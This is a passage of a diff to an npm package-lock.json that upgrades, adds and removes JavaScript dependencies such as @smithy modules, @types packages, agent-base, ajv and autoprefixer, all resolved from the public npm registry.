"sha512-JTvoApUXA5kbpceI2vuqQzRjeTbLpx1eoa5R/YEZbTgtxvIB7AQZxFJ0SEyfCpgPCyVV9IT7we+ytSeIB3CyWA==", "license": "Apache-2.0", "dependencies": { - "@smithy/config-resolver": "^4.4.5", - "@smithy/credential-provider-imds": "^4.2.7", - "@smithy/node-config-provider": "^4.3.7", - "@smithy/property-provider": "^4.2.7", - "@smithy/smithy-client": "^4.10.2", - "@smithy/types": "^4.11.0", + "@smithy/config-resolver": "^4.4.6", + "@smithy/credential-provider-imds": "^4.2.8", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/property-provider": "^4.2.8", + "@smithy/smithy-client": "^4.11.1", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -19534,13 +20418,13 @@ } }, "node_modules/@smithy/util-endpoints": { - "version": "3.2.7", - "resolved": "https://registry.npmjs.org/@smithy/util-endpoints/-/util-endpoints-3.2.7.tgz", - "integrity": "sha512-s4ILhyAvVqhMDYREeTS68R43B1V5aenV5q/V1QpRQJkCXib5BPRo4s7uNdzGtIKxaPHCfU/8YkvPAEvTpxgspg==", + "version": "3.2.8", + "resolved": "https://registry.npmjs.org/@smithy/util-endpoints/-/util-endpoints-3.2.8.tgz", + "integrity": "sha512-8JaVTn3pBDkhZgHQ8R0epwWt+BqPSLCjdjXXusK1onwJlRuN69fbvSK66aIKKO7SwVFM6x2J2ox5X8pOaWcUEw==", "license": "Apache-2.0", "dependencies": { - "@smithy/node-config-provider": "^4.3.7", - "@smithy/types": "^4.11.0", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -19560,12 +20444,12 @@ } }, "node_modules/@smithy/util-middleware": { - "version": "4.2.7", - "resolved": "https://registry.npmjs.org/@smithy/util-middleware/-/util-middleware-4.2.7.tgz", - "integrity": "sha512-i1IkpbOae6NvIKsEeLLM9/2q4X+M90KV3oCFgWQI4q0Qz+yUZvsr+gZPdAEAtFhWQhAHpTsJO8DRJPuwVyln+w==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/util-middleware/-/util-middleware-4.2.8.tgz", + "integrity": "sha512-PMqfeJxLcNPMDgvPbbLl/2Vpin+luxqTGPpW3NAQVLbRrFRzTa4rNAASYeIGjRV9Ytuhzny39SpyU04EQreF+A==", "license": "Apache-2.0", "dependencies": { - "@smithy/types": "^4.11.0", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -19573,13 +20457,13 @@ } }, "node_modules/@smithy/util-retry": { - "version": "4.2.7", - "resolved": "https://registry.npmjs.org/@smithy/util-retry/-/util-retry-4.2.7.tgz", - "integrity": "sha512-SvDdsQyF5CIASa4EYVT02LukPHVzAgUA4kMAuZ97QJc2BpAqZfA4PINB8/KOoCXEw9tsuv/jQjMeaHFvxdLNGg==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/util-retry/-/util-retry-4.2.8.tgz", + "integrity": "sha512-CfJqwvoRY0kTGe5AkQokpURNCT1u/MkRzMTASWMPPo2hNSnKtF1D45dQl3DE2LKLr4m+PW9mCeBMJr5mCAVThg==", "license": "Apache-2.0", "dependencies": { - "@smithy/service-error-classification": "^4.2.7", - "@smithy/types": "^4.11.0", + "@smithy/service-error-classification": "^4.2.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -19587,14 +20471,14 @@ } }, "node_modules/@smithy/util-stream": { - "version": "4.5.8", - "resolved": "https://registry.npmjs.org/@smithy/util-stream/-/util-stream-4.5.8.tgz", - "integrity": "sha512-ZnnBhTapjM0YPGUSmOs0Mcg/Gg87k503qG4zU2v/+Js2Gu+daKOJMeqcQns8ajepY8tgzzfYxl6kQyZKml6O2w==", + "version": "4.5.10", + "resolved": "https://registry.npmjs.org/@smithy/util-stream/-/util-stream-4.5.10.tgz", + "integrity": "sha512-jbqemy51UFSZSp2y0ZmRfckmrzuKww95zT9BYMmuJ8v3altGcqjwoV1tzpOwuHaKrwQrCjIzOib499ymr2f98g==", "license": "Apache-2.0", "dependencies": { - "@smithy/fetch-http-handler": "^5.3.8", - "@smithy/node-http-handler": "^4.4.7", - "@smithy/types": "^4.11.0", + "@smithy/fetch-http-handler": "^5.3.9", + "@smithy/node-http-handler": "^4.4.8", + "@smithy/types": "^4.12.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", @@ -19668,13 +20552,13 @@ } }, "node_modules/@smithy/util-waiter": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/@smithy/util-waiter/-/util-waiter-4.0.6.tgz", - "integrity": "sha512-slcr1wdRbX7NFphXZOxtxRNA7hXAAtJAXJDE/wdoMAos27SIquVCKiSqfB6/28YzQ8FCsB5NKkhdM5gMADbqxg==", + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/@smithy/util-waiter/-/util-waiter-4.2.8.tgz", + "integrity": "sha512-n+lahlMWk+aejGuax7DPWtqav8HYnWxQwR+LCG2BgCUmaGcTe9qZCFsmw8TMg9iG75HOwhrJCX9TCJRLH+Yzqg==", "license": "Apache-2.0", "dependencies": { - "@smithy/abort-controller": "^4.0.4", - "@smithy/types": "^4.3.1", + "@smithy/abort-controller": "^4.2.8", + "@smithy/types": "^4.12.0", "tslib": "^2.6.2" }, "engines": { @@ -19703,6 +20587,7 @@ "resolved": "https://registry.npmjs.org/@surma/rollup-plugin-off-main-thread/-/rollup-plugin-off-main-thread-2.2.3.tgz", "integrity": "sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==", "dev": true, + "license": "Apache-2.0", "dependencies": { "ejs": "^3.1.6", "json5": "^2.2.0", @@ -19715,6 +20600,7 @@ "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz", "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==", "dev": true, + "license": "MIT", "dependencies": { "sourcemap-codec": "^1.4.8" } @@ -19975,30 +20861,46 @@ "@testing-library/dom": ">=7.21.4" } }, + "node_modules/@tokenizer/inflate": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@tokenizer/inflate/-/inflate-0.4.1.tgz", + "integrity": "sha512-2mAv+8pkG6GIZiF1kNg1jAjh27IDxEPKwdGul3snfztFerfPGI1LjDezZp3i7BElXompqEtPmoPx6c2wgtWsOA==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.3", + "token-types": "^6.1.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/@tokenizer/inflate/node_modules/token-types": { + "version": "6.1.2", + "resolved": "https://registry.npmjs.org/token-types/-/token-types-6.1.2.tgz", + "integrity": "sha512-dRXchy+C0IgK8WPC6xvCHFRIWYUbqqdEIKPaKo/AcTUNzwLTK6AH7RjdLWsEZcAN/TBdtfUw3PYEgPr5VPr6ww==", + "license": "MIT", + "dependencies": { + "@borewit/text-codec": "^0.2.1", + "@tokenizer/token": "^0.3.0", + "ieee754": "^1.2.1" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, "node_modules/@tokenizer/token": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/@tokenizer/token/-/token-0.3.0.tgz", "integrity": "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A==" }, - "node_modules/@tootallnate/once": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz", - "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", - "dev": true, - "engines": { - "node": ">= 10" - } - }, - "node_modules/@trysound/sax": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz", - "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==", - "dev": true, - "license": "ISC", - "engines": { - "node": ">=10.13.0" - } - }, "node_modules/@tsconfig/node10": { "version": "1.0.11", "resolved": "https://registry.npmjs.org/@tsconfig/node10/-/node10-1.0.11.tgz", @@ -20370,9 +21272,9 @@ } }, "node_modules/@types/estree": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.6.tgz", - "integrity": "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==", + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", + "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", "license": "MIT" }, "node_modules/@types/estree-jsx": { @@ -20481,10 +21383,11 @@ "dev": true }, "node_modules/@types/jsdom": { - "version": "20.0.1", - "resolved": "https://registry.npmjs.org/@types/jsdom/-/jsdom-20.0.1.tgz", - "integrity": "sha512-d0r18sZPmMQr1eG35u12FZfhIXNrnsPU/g5wvRKCUf/tOGilKKwYMYGqh33BNR6ba+2gkHw1EUiHoN3mn7E5IQ==", + "version": "21.1.7", + "resolved": "https://registry.npmjs.org/@types/jsdom/-/jsdom-21.1.7.tgz", + "integrity": "sha512-yOriVnggzrnQ3a9OKOCxaVuSug3w3/SbOj5i7VwXWZEyUNl3bLF9V3MfxGbZKuwqJOQyRfqXyROBB1CoZLFWzA==", "dev": true, + "license": "MIT", "dependencies": { "@types/node": "*", "@types/tough-cookie": "*", @@ -20724,6 +21627,13 @@ "resolved": "https://registry.npmjs.org/@types/webidl-conversions/-/webidl-conversions-7.0.3.tgz", "integrity": "sha512-CiJJvcRtIgzadHCYXw7dqEnMNRjhGZlYK05Mj9OyktqV8uVT8fD2BFOB7S1uwBE3Kj2Z+4UyPmFw/Ixgw/LAlA==" }, + "node_modules/@types/whatwg-mimetype": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/whatwg-mimetype/-/whatwg-mimetype-3.0.2.tgz", + "integrity": "sha512-c2AKvDT8ToxLIOUlN51gTiHXflsfIFisS4pO7pDPoKouJCESkhZnEy623gwP9laCy5lnLDAw1vAzu2vM2YLOrA==", + "dev": true, + "license": "MIT" + }, "node_modules/@types/whatwg-url": { "version": "11.0.5", "resolved": "https://registry.npmjs.org/@types/whatwg-url/-/whatwg-url-11.0.5.tgz", @@ -20743,6 +21653,16 @@ "winston": "*" } }, + "node_modules/@types/ws": { + "version": "8.18.1", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.18.1.tgz", + "integrity": "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, "node_modules/@types/xml-encryption": { "version": "1.2.4", "resolved": "https://registry.npmjs.org/@types/xml-encryption/-/xml-encryption-1.2.4.tgz", @@ -20924,13 +21844,13 @@ } }, "node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": { - "version": "9.0.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", - "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "version": "9.0.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", + "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", "dev": true, "license": "ISC", "dependencies": { - "brace-expansion": "^2.0.1" + "brace-expansion": "^2.0.2" }, "engines": { "node": ">=16 || 14 >=14.17" @@ -20994,6 +21914,20 @@ "url": "https://opencollective.com/eslint" } }, + "node_modules/@typespec/ts-http-runtime": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/@typespec/ts-http-runtime/-/ts-http-runtime-0.3.2.tgz", + "integrity": "sha512-IlqQ/Gv22xUC1r/WQm4StLkYQmaaTsXAhUVsNE0+xiyf0yRFiH5++q78U3bw6bLKDCTmh0uqKB9eG9+Bt75Dkg==", + "license": "MIT", + "dependencies": { + "http-proxy-agent": "^7.0.0", + "https-proxy-agent": "^7.0.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, "node_modules/@ungap/structured-clone": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.0.tgz", @@ -21269,165 +22203,14 @@ "win32" ] }, - "node_modules/@webassemblyjs/ast": { - "version": "1.12.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.12.1.tgz", - "integrity": "sha512-EKfMUOPRRUTy5UII4qJDGPpqfwjOmZ5jeGFwid9mnoqIFK+e0vqoi1qH56JpmZSzEL53jKnNzScdmftJyG5xWg==", - "dev": true, - "peer": true, - "dependencies": { - "@webassemblyjs/helper-numbers": "1.11.6", - "@webassemblyjs/helper-wasm-bytecode": "1.11.6" - } - }, - "node_modules/@webassemblyjs/floating-point-hex-parser": { - "version": "1.11.6", - "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz", - "integrity": "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw==", - "dev": true, - "peer": true - }, - "node_modules/@webassemblyjs/helper-api-error": { - "version": "1.11.6", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz", - "integrity": "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q==", - "dev": true, - "peer": true - }, - "node_modules/@webassemblyjs/helper-buffer": { - "version": "1.12.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.12.1.tgz", - "integrity": "sha512-nzJwQw99DNDKr9BVCOZcLuJJUlqkJh+kVzVl6Fmq/tI5ZtEyWT1KZMyOXltXLZJmDtvLCDgwsyrkohEtopTXCw==", - "dev": true, - "peer": true - }, - "node_modules/@webassemblyjs/helper-numbers": { - "version": "1.11.6", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz", - "integrity": "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==", - "dev": true, - "peer": true, - "dependencies": { - "@webassemblyjs/floating-point-hex-parser": "1.11.6", - "@webassemblyjs/helper-api-error": "1.11.6", - "@xtuc/long": "4.2.2" - } - }, - "node_modules/@webassemblyjs/helper-wasm-bytecode": { - "version": "1.11.6", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz", - "integrity": "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA==", - "dev": true, - "peer": true - }, - "node_modules/@webassemblyjs/helper-wasm-section": { - "version": "1.12.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.12.1.tgz", - "integrity": "sha512-Jif4vfB6FJlUlSbgEMHUyk1j234GTNG9dBJ4XJdOySoj518Xj0oGsNi59cUQF4RRMS9ouBUxDDdyBVfPTypa5g==", - "dev": true, - "peer": true, - "dependencies": { - "@webassemblyjs/ast": "1.12.1", - "@webassemblyjs/helper-buffer": "1.12.1", - "@webassemblyjs/helper-wasm-bytecode": "1.11.6", - "@webassemblyjs/wasm-gen": "1.12.1" - } - }, - "node_modules/@webassemblyjs/ieee754": { - "version": "1.11.6", - "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz", - "integrity": "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==", - "dev": true, - "peer": true, - "dependencies": { - "@xtuc/ieee754": "^1.2.0" - } - }, - "node_modules/@webassemblyjs/leb128": { - "version": "1.11.6", - "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.6.tgz", - "integrity": "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==", - "dev": true, - "peer": true, - "dependencies": { - "@xtuc/long": "4.2.2" - } - }, - "node_modules/@webassemblyjs/utf8": { - "version": "1.11.6", - "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.6.tgz", - "integrity": "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA==", - "dev": true, - "peer": true - }, - "node_modules/@webassemblyjs/wasm-edit": { - "version": "1.12.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.12.1.tgz", - "integrity": "sha512-1DuwbVvADvS5mGnXbE+c9NfA8QRcZ6iKquqjjmR10k6o+zzsRVesil54DKexiowcFCPdr/Q0qaMgB01+SQ1u6g==", - "dev": true, - "peer": true, - "dependencies": { - "@webassemblyjs/ast": "1.12.1", - "@webassemblyjs/helper-buffer": "1.12.1", - "@webassemblyjs/helper-wasm-bytecode": "1.11.6", - "@webassemblyjs/helper-wasm-section": "1.12.1", - "@webassemblyjs/wasm-gen": "1.12.1", - "@webassemblyjs/wasm-opt": "1.12.1", - "@webassemblyjs/wasm-parser": "1.12.1", - "@webassemblyjs/wast-printer": "1.12.1" - } - }, - "node_modules/@webassemblyjs/wasm-gen": { - "version": "1.12.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.12.1.tgz", - "integrity": "sha512-TDq4Ojh9fcohAw6OIMXqiIcTq5KUXTGRkVxbSo1hQnSy6lAM5GSdfwWeSxpAo0YzgsgF182E/U0mDNhuA0tW7w==", - "dev": true, - "peer": true, - "dependencies": { - "@webassemblyjs/ast": "1.12.1", - "@webassemblyjs/helper-wasm-bytecode": "1.11.6", - "@webassemblyjs/ieee754": "1.11.6", - "@webassemblyjs/leb128": "1.11.6", - "@webassemblyjs/utf8": "1.11.6" - } - }, - "node_modules/@webassemblyjs/wasm-opt": { - "version": "1.12.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.12.1.tgz", - "integrity": "sha512-Jg99j/2gG2iaz3hijw857AVYekZe2SAskcqlWIZXjji5WStnOpVoat3gQfT/Q5tb2djnCjBtMocY/Su1GfxPBg==", - "dev": true, - "peer": true, - "dependencies": { - "@webassemblyjs/ast": "1.12.1", - "@webassemblyjs/helper-buffer": "1.12.1", - "@webassemblyjs/wasm-gen": "1.12.1", - "@webassemblyjs/wasm-parser": "1.12.1" - } - }, - "node_modules/@webassemblyjs/wasm-parser": { - "version": "1.12.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.12.1.tgz", - "integrity": "sha512-xikIi7c2FHXysxXe3COrVUPSheuBtpcfhbpFj4gmu7KRLYOzANztwUU0IbsqvMqzuNK2+glRGWCEqZo1WCLyAQ==", - "dev": true, - "peer": true, - "dependencies": { - "@webassemblyjs/ast": "1.12.1", - "@webassemblyjs/helper-api-error": "1.11.6", - "@webassemblyjs/helper-wasm-bytecode": "1.11.6", - "@webassemblyjs/ieee754": "1.11.6", - "@webassemblyjs/leb128": "1.11.6", - "@webassemblyjs/utf8": "1.11.6" - } - }, - "node_modules/@webassemblyjs/wast-printer": { - "version": "1.12.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.12.1.tgz", - "integrity": "sha512-+X4WAlOisVWQMikjbcvY2e0rwPsKQ9F688lksZhBcPycBBuii3O7m8FACbDMWDojpAqvjIncrG8J0XHKyQfVeA==", - "dev": true, - "peer": true, - "dependencies": { - "@webassemblyjs/ast": "1.12.1", - "@xtuc/long": "4.2.2" + "node_modules/@upsetjs/venn.js": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@upsetjs/venn.js/-/venn.js-2.0.0.tgz", + "integrity": "sha512-WbBhLrooyePuQ1VZxrJjtLvTc4NVfpOyKx0sKqioq9bX1C1m7Jgykkn8gLrtwumBioXIqam8DLxp88Adbue6Hw==", + "license": "MIT", + "optionalDependencies": { + "d3-selection": "^3.0.0", + "d3-transition": "^3.0.1" } }, "node_modules/@xmldom/is-dom-node": { @@ -21447,27 +22230,6 @@ "node": ">=10.0.0" } }, - "node_modules/@xtuc/ieee754": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", - "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", - "dev": true, - "peer": true - }, - "node_modules/@xtuc/long": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", - "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", - "dev": true, - "peer": true - }, - "node_modules/abab": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz", - "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==", - "deprecated": "Use your platform's native atob() and btoa() methods instead", - "dev": true - }, "node_modules/abbrev": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", @@ -21529,16 +22291,6 @@ "node": ">=0.4.0" } }, - "node_modules/acorn-globals": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-7.0.1.tgz", - "integrity": "sha512-umOSDSDrfHbTNPuNpC2NSnnA3LUrqpevPb4T9jRx4MagXNS0rs+gwiTcAvqCRmsD6utzsrzNt+ebm00SNWiC3Q==", - "dev": true, - "dependencies": { - "acorn": "^8.1.0", - "acorn-walk": "^8.0.2" - } - }, "node_modules/acorn-import-attributes": { "version": "1.9.5", "resolved": "https://registry.npmjs.org/acorn-import-attributes/-/acorn-import-attributes-1.9.5.tgz", @@ -21567,21 +22319,32 @@ } }, "node_modules/agent-base": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", - "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", - "dev": true, - "dependencies": { - "debug": "4" - }, + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", + "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", + "license": "MIT", "engines": { - "node": ">= 6.0.0" + "node": ">= 14" + } + }, + "node_modules/ai-tokenizer": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/ai-tokenizer/-/ai-tokenizer-1.0.6.tgz", + "integrity": "sha512-GaakQFxen0pRH/HIA4v68ZM40llCH27HUYUSBLK+gVuZ57e53pYJe1xFvSTj4sJJjbWU92m1X6NjPWyeWkFDow==", + "license": "MIT", + "peerDependencies": { + "ai": "^5.0.0" + }, + "peerDependenciesMeta": { + "ai": { + "optional": true + } } }, "node_modules/ajv": { - "version": "8.17.1", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz", - "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "version": "8.18.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.18.0.tgz", + "integrity": "sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A==", "license": "MIT", "dependencies": { "fast-deep-equal": "^3.1.3", @@ -21611,16 +22374,6 @@ } } }, - "node_modules/ajv-keywords": { - "version": "3.5.2", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", - "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", - "dev": true, - "peer": true, - "peerDependencies": { - "ajv": "^6.9.1" - } - }, "node_modules/anser": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/anser/-/anser-2.1.1.tgz", @@ -21914,9 +22667,9 @@ } }, "node_modules/asn1.js/node_modules/bn.js": { - "version": "4.12.2", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.2.tgz", - "integrity": "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw==", + "version": "4.12.3", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz", + "integrity": "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g==", "dev": true, "license": "MIT" }, @@ -21949,9 +22702,10 @@ "dev": true }, "node_modules/async": { - "version": "3.2.5", - "resolved": "https://registry.npmjs.org/async/-/async-3.2.5.tgz", - "integrity": "sha512-baNZyqaaLhyLVKm/DlvdW051MSgO6b8eVfIezl9E5PqWxFgzLm/wQntEW4zOytVburDEr0JlALEpdOFwvErLsg==" + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz", + "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==", + "license": "MIT" }, "node_modules/async-function": { "version": "1.0.0", @@ -21983,14 +22737,15 @@ "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz", "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", "dev": true, + "license": "ISC", "engines": { "node": ">= 4.0.0" } }, "node_modules/autoprefixer": { - "version": "10.4.17", - "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.17.tgz", - "integrity": "sha512-/cpVNRLSfhOtcGflT13P2794gVSgmPgTR+erw5ifnMLZb0UnSlkK4tquLmkd3BhA+nLo5tX8Cu0upUsGKvKbmg==", + "version": "10.4.24", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.24.tgz", + "integrity": "sha512-uHZg7N9ULTVbutaIsDRoUkoS8/h3bdsmVJYZ5l3wv8Cp/6UIIoRDm90hZ+BwxUj/hGBEzLxdHNSKuFpn8WOyZw==", "dev": true, "funding": [ { @@ -22006,12 +22761,12 @@ "url": "https://github.com/sponsors/ai" } ], + "license": "MIT", "dependencies": { - "browserslist": "^4.22.2", - "caniuse-lite": "^1.0.30001578", - "fraction.js": "^4.3.7", - "normalize-range": "^0.1.2", - "picocolors": "^1.0.0", + "browserslist": "^4.28.1", + "caniuse-lite": "^1.0.30001766", + "fraction.js": "^5.3.4", + "picocolors": "^1.1.1", "postcss-value-parser": "^4.2.0" }, "bin": { @@ -22024,6 +22779,71 @@ "postcss": "^8.1.0" } }, + "node_modules/autoprefixer/node_modules/browserslist": { + "version": "4.28.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz", + "integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "baseline-browser-mapping": "^2.9.0", + "caniuse-lite": "^1.0.30001759", + 